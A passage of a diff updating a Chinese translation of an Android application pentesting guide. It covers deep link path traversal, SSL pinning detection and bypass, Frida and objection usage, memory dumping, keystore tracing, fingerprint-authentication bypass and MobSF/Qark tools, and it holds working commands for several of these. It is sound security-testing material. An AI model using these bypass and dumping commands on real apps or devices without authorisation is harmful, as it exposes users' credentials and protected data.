参数接收敏感数据(比如密码)**,因为任何其他应用都可能 **冒充该 deep link 并窃取这些数据!** -**Parameters in path** +**路径中的参数** -你**还必须检查是否有 deep link 在 URL 的 path 内使用参数**,例如:`https://api.example.com/v1/users/{username}`,在这种情况下你可以通过访问类似 `example://app/users?username=../../unwanted-endpoint%3fparam=value` 来强制进行 path traversal。\ -注意,如果你在应用内部找到正确的 endpoints,你可能能够触发一个 **Open Redirect**(如果路径的一部分被用作域名)、**account takeover**(如果你能在没有 CSRF token 的情况下修改用户详情且该 vuln endpoint 使用了正确的方法)以及其他任何 vuln。更多信息请见 [info about this here](http://dphoeniixx.com/2020/12/13-2/). +你**必须检查 deep link 是否在 URL 的路径中使用参数**,例如:`https://api.example.com/v1/users/{username}`,在这种情况下,你可以通过访问类似 `example://app/users?username=../../unwanted-endpoint%3fparam=value` 来强制进行路径遍历。\ +注意,如果你在应用中找到了正确的端点,你可能能够导致 **Open Redirect**(如果路径的一部分被用作域名)、**account takeover**(如果你能在没有 CSRF token 的情况下修改用户详情并且 vuln 端点使用了正确的方法)以及其他任何 vuln。更多 [info about this here](http://dphoeniixx.com/2020/12/13-2/)。 **More examples** -An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_). +一个关于链接(_/.well-known/assetlinks.json_)的 [interesting bug bounty report](https://hackerone.com/reports/855618)。 ### 传输层检查与验证失败 -- **证书并不总是被正确检查**,Android 应用中常见忽略警告并接受 self-signed certificates,或在某些情况下退回使用 HTTP 连接。 -- **SSL/TLS 握手期间的协商有时较弱**,使用不安全的 cipher suites。该漏洞使连接易受 man-in-the-middle (MITM) 攻击,允许攻击者解密数据。 -- **Leakage of private information** 是一种风险,当应用使用安全通道进行认证但随后在其他事务上通过非安全通道通信时,会导致未能保护敏感数据(例如 session cookies 或用户信息)免遭恶意实体拦截。 +- **证书并不总是被正确检查**,在 Android 应用中很常见。这些应用常常忽略警告并接受自签名证书,或者在某些情况下退回使用 HTTP 连接。 +- **SSL/TLS 握手期间的协商有时较弱**,使用不安全的密码套件。此漏洞使连接容易受到中间人(MITM)攻击,允许攻击者解密数据。 +- **Leakage of private information** 是一个风险,当应用使用安全通道进行认证,但随后在其他事务中通过非安全通道通信时会出现这种情况。这种做法无法保护敏感数据,例如会话 cookie 或用户详情,免遭恶意实体拦截。 #### 证书验证 -我们将关注 **证书验证**。必须验证服务器证书的完整性以提高安全性。这一点至关重要,因为不安全的 TLS 配置和通过未加密通道传输敏感数据可能带来重大风险。有关验证服务器证书和修复漏洞的详细步骤,[**this resource**](https://manifestsecurity.com/android-application-security-part-10/) 提供了全面的指导。 +我们将重点关注**certificate verification**。必须验证服务器证书的完整性以增强安全性。这一点至关重要,因为不安全的 TLS 配置以及在未加密通道上传输敏感数据可能带来重大风险。关于验证服务器证书和修复漏洞的详细步骤,请参阅 [**this resource**](https://manifestsecurity.com/android-application-security-part-10/)。 #### SSL Pinning -SSL Pinning 是一种安全措施,应用将服务器证书与存储在应用中的已知副本进行比对。此方法对于防止 MITM 攻击至关重要。强烈建议在处理敏感信息的应用中实现 SSL Pinning。 +SSL Pinning 是一种安全措施,应用将服务器证书与存储在应用内的已知副本进行校验。此方法对于防止 MITM 攻击至关重要。强烈建议在处理敏感信息的应用中实现 SSL Pinning。 -#### 流量检查 +#### Traffic Inspection -要检查 HTTP 流量,需要**安装代理工具的证书**(例如 Burp)。如果不安装此证书,经过加密的流量可能无法通过代理可见。有关安装自定义 CA 证书的指南,[**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)。 +要检查 HTTP 流量,必须**安装代理工具的证书**(例如 Burp)。如果不安装该证书,加密流量可能无法通过代理可见。关于安装自定义 CA 证书的指南,请 [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)。 -针对 **API Level 24 and above** 的应用需要修改 Network Security Config 以接受代理的 CA 证书。此步骤对于检查加密流量至关重要。有关修改 Network Security Config 的说明,[**refer to this tutorial**](make-apk-accept-ca-certificate.md)。 +针对 **API Level 24 and above** 的应用需要修改 Network Security Config 以接受代理的 CA 证书。此步骤对检查加密流量至关重要。有关修改 Network Security Config 的说明,请参阅 [**refer to this tutorial**](make-apk-accept-ca-certificate.md)。 -如果使用 **Flutter**,需要按照 [**this page**](flutter.md) 的说明操作。这是因为仅将证书添加到存储中不起作用,Flutter 有其自己的有效 CA 列表。 +如果使用 **Flutter**,你需要遵循 [**this page**](flutter.md) 中的说明。这是因为仅将证书添加到存储中并不能奏效,Flutter 有自己的有效 CA 列表。 #### 静态检测 SSL/TLS pinning -在尝试运行时绕过之前,先快速映射 APK 中强制 pinning 的位置。静态发现有助于你规划 hooks/patches 并专注于正确的代码路径。 +在尝试运行时绕过之前,先快速映射 APK 中强制 pinning 的位置。静态发现有助于你规划 hooks/patches 并关注正确的代码路径。 Tool: SSLPinDetect -- Open-source static-analysis utility that decompiles the APK to Smali (via apktool) and scans for curated regex patterns of SSL/TLS pinning implementations. -- Reports exact file path, line number, and a code snippet for each match. -- Covers common frameworks and custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins. +- 开源静态分析工具,会将 APK 反编译为 Smali(通过 apktool)并扫描针对 SSL/TLS pinning 实现的精心挑选的正则模式。 +- 为每个匹配报告精确的文件路径、行号和代码片段。 +- 覆盖常见框架和自定义代码路径:OkHttp CertificatePinner、custom javax.net.ssl.X509TrustManager.checkServerTrusted、SSLContext.init(带 custom TrustManagers/KeyManagers)和 Network Security Config XML pins。 -Install -- Prereqs: Python >= 3.8, Java on PATH, apktool +安装 +- 先决条件: Python >= 3.8, Java on PATH, apktool ```bash git clone https://github.com/aancw/SSLPinDetect cd SSLPinDetect pip install -r requirements.txt ``` -使用 +用法 ```bash # Basic python sslpindetect.py -f app.apk -a apktool.jar @@ -457,6 +457,7 @@ python sslpindetect.py -f app.apk -a apktool.jar python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v ``` 示例模式规则 (JSON) + 使用或扩展 signatures 来检测专有/自定义 pinning 样式。你可以加载自己的 JSON 并进行大规模 scan。 ```json { @@ -471,55 +472,55 @@ python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v ] } ``` -注意事项和技巧 -- 在大型应用上通过 multi-threading 和 memory-mapped I/O 进行快速扫描;预编译的 regex 可以减少开销/误报。 +笔记与提示 +- 通过多线程和 memory-mapped I/O 对大型应用进行快速扫描;预编译的 regex 可减少开销/误报。 - Pattern collection: https://github.com/aancw/smali-sslpin-patterns -- 接下来需要分流的典型检测目标: +- 常见的检测目标,作为下一步优先排查: - OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references - Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides - Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers -- Declarative pins in res/xml network security config and manifest references -- 使用匹配到的位置来在动态测试之前规划 Frida hooks、静态补丁或配置审查。 +- 声明式 pins 在 res/xml network security config 和 manifest 引用中 +- 使用匹配到的位置来规划 Frida hooks、静态 patch 或配置审查,然后再做动态测试。 #### 绕过 SSL Pinning -当实现了 SSL Pinning 时,为了检查 HTTPS 流量需要绕过它。对此有多种方法可用: +当实现了 SSL Pinning 时,绕过它对检查 HTTPS 流量变得必要。有多种方法可以做到这一点: -- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). The best pro of this option, is that you won't need root to bypass the SSL Pinning, but you will need to delete the application and reinstall the new one, and this won't always work. -- You could use **Frida** (discussed below) to bypass this protection. Here you have a guide to use Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) -- You can also try to **automatically bypass SSL Pinning** using [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` -- You can also try to **automatically bypass SSL Pinning** using **MobSF dynamic analysis** (explained below) -- If you still think that there is some traffic that you aren't capturing you can try to **forward the traffic to burp using iptables**. Read this blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- 自动地 **modify** the **apk** 来 **bypass** SSLPinning,可以使用 [**apk-mitm**](https://github.com/shroudedcode/apk-mitm)。此选项最大的优点是你不需要 root 即可绕过 SSL Pinning,但你需要删除应用并重装新的,而且并不总是有效。 +- 你可以使用 **Frida**(下文讨论)来绕过该保护。这里有一篇使用 Burp+Frida+Genymotion 的指南: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) +- 你也可以尝试使用 [**objection**](frida-tutorial/objection-tutorial.md)**:** 自动绕过 SSL Pinning:`objection --gadget com.package.app explore --startup-command "android sslpinning disable"` +- 你也可以尝试使用 **MobSF dynamic analysis** 自动绕过 SSL Pinning(下文会解释) +- 如果你仍然认为有些流量没有被捕获,可以尝试使用 iptables 将流量转发到 Burp。阅读这篇博客: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) -#### 寻找常见的 Web 漏洞 +#### 查找常见的 Web 漏洞 -同样重要的是在应用内搜索常见的 Web 漏洞。关于识别和缓解这些漏洞的详细信息超出本摘要的范围,但在其他地方有详尽覆盖。 +同样重要的是在应用内搜索常见的 Web 漏洞。识别和缓解这些漏洞的详细信息超出本摘要范围,但在其他地方有详尽的覆盖。 ### Frida -[Frida](https://www.frida.re) 是一个面向开发者、逆向工程师和安全研究人员的动态插装工具包。\ -**你可以访问运行中的应用并在运行时 hook 方法来改变行为、修改值、提取值或执行不同的代码...**\ -如果你想 pentest Android 应用,你需要知道如何使用 Frida。 +[Frida](https://www.frida.re) 是一个面向开发者、逆向工程师和安全研究人员的动态插桩工具包。\ +**你可以访问正在运行的应用并在运行时 hook 方法以改变行为、修改值、提取值或执行不同的代码……**\ +如果你要对 Android 应用做 pentest,你需要会使用 Frida。 -- 学习如何使用 Frida: [**Frida 教程**](frida-tutorial/index.html) -- 用于 Frida 操作的一些 "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) -- Ojection 很适合自动化使用 Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) -- 你可以在这里找到一些优秀的 Frida 脚本: [**https://codeshare.frida.re/**](https://codeshare.frida.re) -- 尝试按照 [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) 中所示将 Frida 以此方式加载以绕过 anti-debugging / anti-frida 机制(工具 [linjector](https://github.com/erfur/linjector-rs)) +- Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html) +- Some "GUI" for actions with Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) +- Ojection is great to automate the use of Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) +- You can find some Awesome Frida scripts here: [**https://codeshare.frida.re/**](https://codeshare.frida.re) +- Try to bypass anti-debugging / anti-frida mechanisms loading Frida as in indicated in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs)) -#### 反插装 & SSL pinning 绕过 工作流程 +#### Anti-instrumentation & SSL pinning bypass workflow {{#ref}} android-anti-instrumentation-and-ssl-pinning-bypass.md {{#endref}} -### **转储内存 - Fridump** +### **Dump Memory - Fridump** -检查应用是否在内存中存储了不应该存储的敏感信息,例如密码或助记词。 +检查应用是否在内存中存储了不应该存放的敏感信息,比如密码或助记词。 -使用 [**Fridump3**](https://github.com/rootbsd/fridump3) 可以用以下命令转储应用的内存: +Using [**Fridump3**](https://github.com/rootbsd/fridump3) you can dump the memory of the app with: ```bash # With PID python3 fridump3.py -u @@ -528,63 +529,63 @@ python3 fridump3.py -u frida-ps -Uai python3 fridump3.py -u "" ``` -这将把内存转储到 ./dump 文件夹,之后你可以在其中使用 grep,例如: +这会将内存转储到 ./dump 文件夹,你可以在其中使用 grep 之类的命令进行搜索: ```bash strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$" ``` ### **Keystore 中的敏感数据** -在 Android 中,Keystore 是存放敏感数据的最佳位置,但在拥有足够权限的情况下,仍然**可能访问它**。由于应用倾向于在此处**以明文存储的敏感数据**,因此 pentests 应作为 root user 检查此项,否则有物理访问设备的人可能会窃取这些数据。 +在 Android 中,Keystore 是存储敏感数据的最佳位置,然而在拥有足够权限的情况下仍然**可能被访问**。由于应用通常倾向于在此处以**明文**存储敏感数据,pentests 应当以 root user 身份检查它,否则有物理访问设备的人可能会窃取这些数据。 -即使应用将数据存储在 Keystore 中,数据也应当被加密。 +即使应用将数据存储在 Keystore 中,也应该对这些数据进行加密。 -要访问 keystore 中的数据,你可以使用这个 Frida 脚本: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) +要访问 Keystore 内的数据,可以使用此 Frida 脚本: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) ```bash frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **Fingerprint/Biometrics Bypass** -使用下面的 Frida 脚本,可能可以 **bypass fingerprint authentication**,这是 Android applications 为了 **protect certain sensitive areas:** 所采取的措施。 +使用以下 Frida 脚本,可能可以**bypass fingerprint authentication**,用于绕过 Android 应用为**保护某些敏感区域**而执行的身份验证: ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` ### **后台快照** -当你把应用置于后台时,Android 会存储该应用的**快照**,以便在恢复到前台时先加载该图像,从而看起来像应用更快地启动。 +当你将应用置于后台时,Android 会存储一个**应用快照**,这样当它恢复到前台时,会先加载该图像,然后才加载应用本身,从而看起来应用加载更快。 -然而,如果该**快照**包含**敏感信息**,有权限访问该快照的人可能会**窃取这些信息**(注意,需要 root 权限才能访问)。 +然而,如果该快照包含**敏感信息**,有权限访问该快照的人可能会**窃取这些信息**(注意你需要 root 才能访问它)。 -快照通常存储在: **`/data/system_ce/0/snapshots`** +快照通常存储在:**`/data/system_ce/0/snapshots`** -Android 提供了一种方法,即通过设置 **FLAG_SECURE 布局参数来防止屏幕截图**。使用该 flag 后,窗口内容将被视为安全,阻止其出现在屏幕截图中或在非安全显示设备上被查看。 +Android 提供了一种通过设置 **FLAG_SECURE** 布局参数来防止截图的方法。使用此标志后,窗口内容将被视为受保护,从而阻止其出现在截图中或在非安全的显示设备上被查看。 ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` ### **Android Application Analyzer** -这个工具可以在动态分析期间帮助你管理不同的工具: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) +这个工具可以帮助你在动态分析期间管理不同的工具: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) ### Intent Injection -开发者经常创建代理组件,例如 activities、services 和 broadcast receivers 来处理这些 Intents,并将它们传递给诸如 `startActivity(...)` 或 `sendBroadcast(...)` 之类的方法,这可能存在风险。 +开发者经常创建代理组件(如 activities、services 和 broadcast receivers)来处理这些 Intents,并将它们传递给像 `startActivity(...)` 或 `sendBroadcast(...)` 这样的函数,这可能存在风险。 -危险在于允许攻击者通过误导这些 Intents 来触发非导出的 app 组件或访问敏感的 content providers。一个显著的例子是 `WebView` 组件通过 `Intent.parseUri(...)` 将 URL 转换为 `Intent` 对象并随后执行它们,这可能导致恶意的 Intent 注入。 +危险在于允许攻击者通过误导这些 Intents 来触发未导出的应用组件或访问敏感的内容提供者。一个显著的例子是 `WebView` 组件通过 `Intent.parseUri(...)` 将 URL 转换为 `Intent` 对象并执行它们,这可能导致恶意 Intent 注入。 ### Essential Takeaways - **Intent Injection** 类似于 web 的 Open Redirect 问题。 -- 利用通常涉及将 `Intent` 对象作为 extras 传递,这些 Intent 可能被重定向以执行不安全的操作。 -- 它可能将非导出组件和 content providers 暴露给攻击者。 -- `WebView` 将 URL 转换为 `Intent` 的行为可能促使发生非预期的操作。 +- 漏洞利用通常涉及将 `Intent` 对象作为 extras 传递,这些 Intent 可被重定向以执行不安全的操作。 +- 它可能使未导出的组件和内容提供者暴露给攻击者。 +- `WebView` 将 URL 转换为 `Intent` 的行为可能促成非预期的操作。 ### Android Client Side Injections and others -你可能在 Web 上见过这类漏洞。在 Android 应用中必须对这些漏洞格外小心: +你可能从 Web 上了解过这类漏洞。在 Android 应用中需要特别注意这些漏洞: -- **SQL Injection:** 在处理动态查询或 Content-Providers 时,确保使用参数化查询。 -- **JavaScript Injection (XSS):** 请确认任何 WebViews 的 JavaScript 与 Plugin 支持已禁用(默认禁用)。 [More info here](webview-attacks.md#javascript-enabled). -- **Local File Inclusion:** WebViews 应禁用对文件系统的访问(默认启用) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). -- **Eternal cookies**: 在某些情况下,当 android application 结束会话时,cookie 未被撤销,甚至可能被保存到磁盘 +- **SQL Injection:** 在处理动态查询或 Content-Providers 时,请确保使用参数化查询。 +- **JavaScript Injection (XSS):** 验证任何 WebViews 的 JavaScript 和 Plugin 支持已被禁用(默认禁用)。 [More info here](webview-attacks.md#javascript-enabled). +- **Local File Inclusion:** 应禁用 WebViews 对文件系统的访问(默认启用) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). +- **Eternal cookies**: 在某些情况下,当 android 应用结束会话时,cookie 未被撤销,甚至可能被保存到磁盘 - [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) --- @@ -593,11 +594,11 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) -**静态分析** +**Static analysis** ![](<../../images/image (866).png>) -**对应用的漏洞评估** 使用漂亮的基于 Web 的前端。你也可以执行动态分析(但需要准备好环境)。 +**Vulnerability assessment of the application** 使用一个漂亮的基于 web 的前端。你也可以执行动态分析(但需要准备环境)。 ```bash docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest @@ -605,43 +606,43 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest Notice that MobSF can analyse **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\ Also, if you create a **ZIP** file with the source code if an **Android** or an **IOS** app (go to the root folder of the application, select everything and create a ZIPfile), it will be able to analyse it also. -MobSF 还允许你对分析结果进行 **diff/Compare** 并集成 **VirusTotal**(你需要在 _MobSF/settings.py_ 中设置你的 API key 并启用:`VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`)。你也可以将 `VT_UPLOAD` 设置为 `False`,此时将上传 **hash** 而不是文件。 +MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file. ### Assisted Dynamic analysis with MobSF -**MobSF** 在 **Android** 的 **dynamic analysis** 方面也非常有用,但在这种情况下你需要在宿主机上安装 MobSF 和 **genymotion**(VM 或 Docker 无法工作)。_Note: You need to **start first a VM in genymotion** and **then MobSF.**_\ -**MobSF dynamic analyser** 可以: +MobSF 在 Android 的动态分析上也非常有用,但在这种情况下你需要在宿主机上安装 MobSF 和 **genymotion**(VM 或 Docker 无法工作)。_Note: You need to **start first a VM in genymotion** and **then MobSF.**_\ +MobSF 的动态分析器可以: -- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). 以上内容均会自动完成,除了 screenshots,截图需要你在想要截图时手动按下(按钮),或者按下 "**Exported Activity Tester**" 来获取所有导出 activity 的截图。 +- **Dump application data**(URLs、logs、剪贴板、你手动截取的 screenshots、由 "**Exported Activity Tester**" 生成的 screenshots、emails、SQLite 数据库、XML 文件以及其他生成的文件)。除了 screenshots 以外,其它都会自动完成;screenshots 需要你在想要截图时按下相应按钮,或者按下 "**Exported Activity Tester**" 以获取所有 exported activities 的 screenshots。 - 捕获 **HTTPS traffic** - 使用 **Frida** 获取 **runtime** **information** -从 Android **versions > 5** 开始,它会 **automatically start Frida** 并设置全局 **proxy** 设置以 **capture** 流量。它只会捕获被测试应用的流量。 +从 Android **versions > 5**,它会**自动启动 Frida**并设置全局**proxy**以**capture**流量。它只会捕获受测应用的流量。 **Frida** -默认情况下,它还会使用一些 Frida Scripts 来 **bypass SSL pinning**、**root detection** 和 **debugger detection**,并 **monitor interesting APIs**。\ -MobSF 还可以 **invoke exported activities**,抓取它们的 **screenshots** 并 **save** 到报告中。 +默认情况下,它还会使用一些 Frida Scripts 来**bypass SSL pinning**、**root detection** 和 **debugger detection**,并**monitor interesting APIs**。\ +MobSF 还可以**invoke exported activities**,抓取它们的 **screenshots** 并将其**save** 到报告中。 -要开始动态测试,按绿色按钮:“**Start Instrumentation**”。按 “**Frida Live Logs**” 可查看 Frida 脚本生成的日志,按 “**Live API Monitor**” 可查看所有对 hook 方法的调用、传入参数和返回值(这些将在按下 "Start Instrumentation" 后出现)。\ -MobSF 还允许你加载自定义的 **Frida scripts**(要将你的 Frida 脚本结果发送到 MobSF,请使用函数 `send()`)。它也有 **several pre-written scripts** 可供加载(你可以在 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` 中添加更多),只需选择它们,按 “**Load**”,然后按 “**Start Instrumentation**”(你将能在 “**Frida Live Logs**” 中看到这些脚本的日志)。 +要**start** 动态测试,按绿色按钮:“Start Instrumentation”。按 “Frida Live Logs” 可以查看由 Frida scripts 生成的日志,按 “Live API Monitor” 可以查看对 hooked methods 的所有调用、传入参数和返回值(在按下 “Start Instrumentation” 后会出现)。\ +MobSF 还允许你加载自定义的 **Frida scripts**(要将你的 Frida scripts 的结果发送到 MobSF,请使用函数 `send()`)。它也有若干预写脚本可供加载(你可以在 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` 中添加更多),只需选择它们,按 “Load”,然后按 “Start Instrumentation”(你将能在 “Frida Live Logs” 中看到这些脚本的日志)。 ![](<../../images/image (419).png>) -此外,你还有一些辅助的 Frida 功能: +此外,你还有一些辅助性的 Frida 功能: -- **Enumerate Loaded Classes**: 它会列出所有加载的 classes -- **Capture Strings**: 在使用应用时会打印捕获到的所有 strings(非常嘈杂) -- **Capture String Comparisons**: 非常有用。它会 **show the 2 strings being compared** 并显示比较结果为 True 还是 False。 +- **Enumerate Loaded Classes**: 它会打印所有已加载的 classes +- **Capture Strings**: 在使用应用时它会打印所有捕获到的 strings(非常嘈杂) +- **Capture String Comparisons**: 非常有用。它会**show the 2 strings being compared**,并显示结果是 True 还是 False。 - **Enumerate Class Methods**: 输入类名(例如 "java.io.File"),它会打印该类的所有方法。 -- **Search Class Pattern**: 按模式搜索类 -- **Trace Class Methods**: **Trace** 整个类(查看该类所有方法的输入和输出)。请记住,默认情况下 MobSF 会跟踪若干有趣的 Android API 方法。 +- **Search Class Pattern**: 按模式搜索 classes +- **Trace Class Methods**: **Trace** 整个 class(查看该类所有方法的输入和输出)。请记住默认情况下 MobSF 会跟踪若干有趣的 Android Api 方法。 -选择好要使用的辅助模块后,按下 "**Start Intrumentation**",你就会在 "**Frida Live Logs**" 中看到所有输出。 +一旦你选择了要使用的辅助模块,按下 “Start Intrumentation”,你将在 “Frida Live Logs” 中看到所有输出。 **Shell** -MobSF 还在动态分析页面底部提供了一个 shell,其中包含一些 **adb** commands、**MobSF commands** 和常见的 **shell** **commands**。一些有趣的命令: +Mobsf 还在动态分析页面底部提供了一个 shell,包含一些 **adb** 命令、**MobSF commands** 和常见的 **shell commands**。一些有趣的命令: ```bash help shell ls @@ -650,35 +651,34 @@ exported_activities services receivers ``` -**HTTP 工具** +**HTTP tools** -When http traffic is capture you can see an ugly view of the captured traffic on "**HTTP(S) Traffic**" bottom or a nicer view in "**Start HTTPTools**" green bottom. From the second option, you can **send** the **captured requests** to **proxies** like Burp or Owasp ZAP.\ -要做到这点,_power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> 按 "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。 +当 HTTP 流量被 capture 时,你可以在“**HTTP(S) Traffic**”按钮看到捕获流量的粗糙视图,或在绿色的“**Start HTTPTools**”按钮看到更友好的视图。通过第二个选项,你可以将**captured requests** 发送到像 Burp 或 Owasp ZAP 这样的 proxies。\ +为此,_power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> 按“**Send to Fuzzer**” --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。 -Once you finish the dynamic analysis with MobSF you can press on "**Start Web API Fuzzer**" to **fuzz http requests** an look for vulnerabilities. -完成使用 MobSF 的 dynamic analysis 后,你可以点击 "**Start Web API Fuzzer**" 来 **fuzz http requests** 并查找漏洞。 +一旦用 MobSF 完成 dynamic analysis,你可以点击“**Start Web API Fuzzer**”来 **fuzz http requests** 并查找漏洞。 > [!TIP] -> After performing a dynamic analysis with MobSF the proxy settings me be misconfigured and you won't be able to fix them from the GUI. You can fix the proxy settings by doing: +> 在用 MobSF 执行 dynamic analysis 之后,proxy 设置可能会被错误配置,并且你可能无法通过 GUI 修复。你可以通过执行以下命令来修复 proxy 设置: > > ``` > adb shell settings put global http_proxy :0 > ``` -### 使用 Inspeckage 辅助 Dynamic Analysis +### Assisted Dynamic Analysis with Inspeckage -You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\ -该工具会使用一些 **Hooks**,在你进行 **dynamic analysis** 时帮助你了解**应用内部正在发生的事情**。 +你可以从 [**Inspeckage**](https://github.com/ac-pm/Inspeckage) 获取此工具。\ +该工具会使用一些 **Hooks**,在你执行 **dynamic analysis** 时让你了解应用内发生的情况。 ### [Yaazhini](https://www.vegabird.com/yaazhini/) -这是一个**用于通过 GUI 执行 static analysis 的出色工具** +这是一个用于通过 GUI 执行 **static analysis** 的优秀工具 ![](<../../images/image (741).png>) ### [Qark](https://github.com/linkedin/qark) -This tool is designed to look for several **security related Android application vulnerabilities**, either in **source code** or **packaged APKs**. 该工具还可以**生成可部署的 "Proof-of-Concept" APK**和**ADB commands**,用于利用发现的一些漏洞(Exposed activities、intents、tapjacking 等)。如同 Drozer,无需对测试设备进行 root。 +该工具旨在查找若干 **security related Android application vulnerabilities**,可针对 **source code** 或 **packaged APKs**。该工具还**能够创建可部署的 "Proof-of-Concept" APK** 和 **ADB commands**,以利用发现的一些漏洞(如 Exposed activities、intents、tapjacking...)。与 Drozer 相同,无需对测试设备进行 root。 ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -690,7 +690,7 @@ qark --java path/to/specific/java/file.java - 显示所有提取的文件以便参考 - 自动将 APK 文件反编译为 Java 和 Smali 格式 - 分析 AndroidManifest.xml 以查找常见漏洞和行为 -- 对源代码进行静态分析以识别常见漏洞和行为 +- 对静态源代码进行分析以查找常见漏洞和行为 - 设备信息 - 以及更多 ```bash @@ -698,9 +698,11 @@ reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER 是一个命令行应用程序,可在 Windows、MacOS X 和 Linux 上使用,用于分析 _.apk_ 文件以寻找漏洞。它通过解压 APKs 并应用一系列规则来检测这些漏洞。 +SUPER 是一个命令行应用,可在 Windows、MacOS X 和 Linux 上使用,用于分析 _.apk_ 文件以查找漏洞。 -所有规则集中在 `rules.json` 文件中,每个公司或测试人员都可以创建自己的规则来分析他们需要的内容。 +它通过解压 APK 并应用一系列规则来检测这些漏洞。 + +所有规则集中在 `rules.json` 文件中,每家公司或测试人员都可以创建自己的规则来分析所需内容。 从 [download page](https://superanalyzer.rocks/download.html) 下载最新的二进制文件 ``` @@ -710,17 +712,17 @@ super-analyzer {apk_file} ![](<../../images/image (297).png>) -StaCoAn 是一个 **跨平台** 工具,帮助开发者、bugbounty hunters 和 ethical hackers 对移动应用执行 [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis)。 +StaCoAn 是一个 **跨平台** 工具,可帮助开发人员、bugbounty hunters 和 ethical hackers 在移动应用上执行 [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis)。 -其理念是你将移动应用文件(.apk 或 .ipa 文件)拖放到 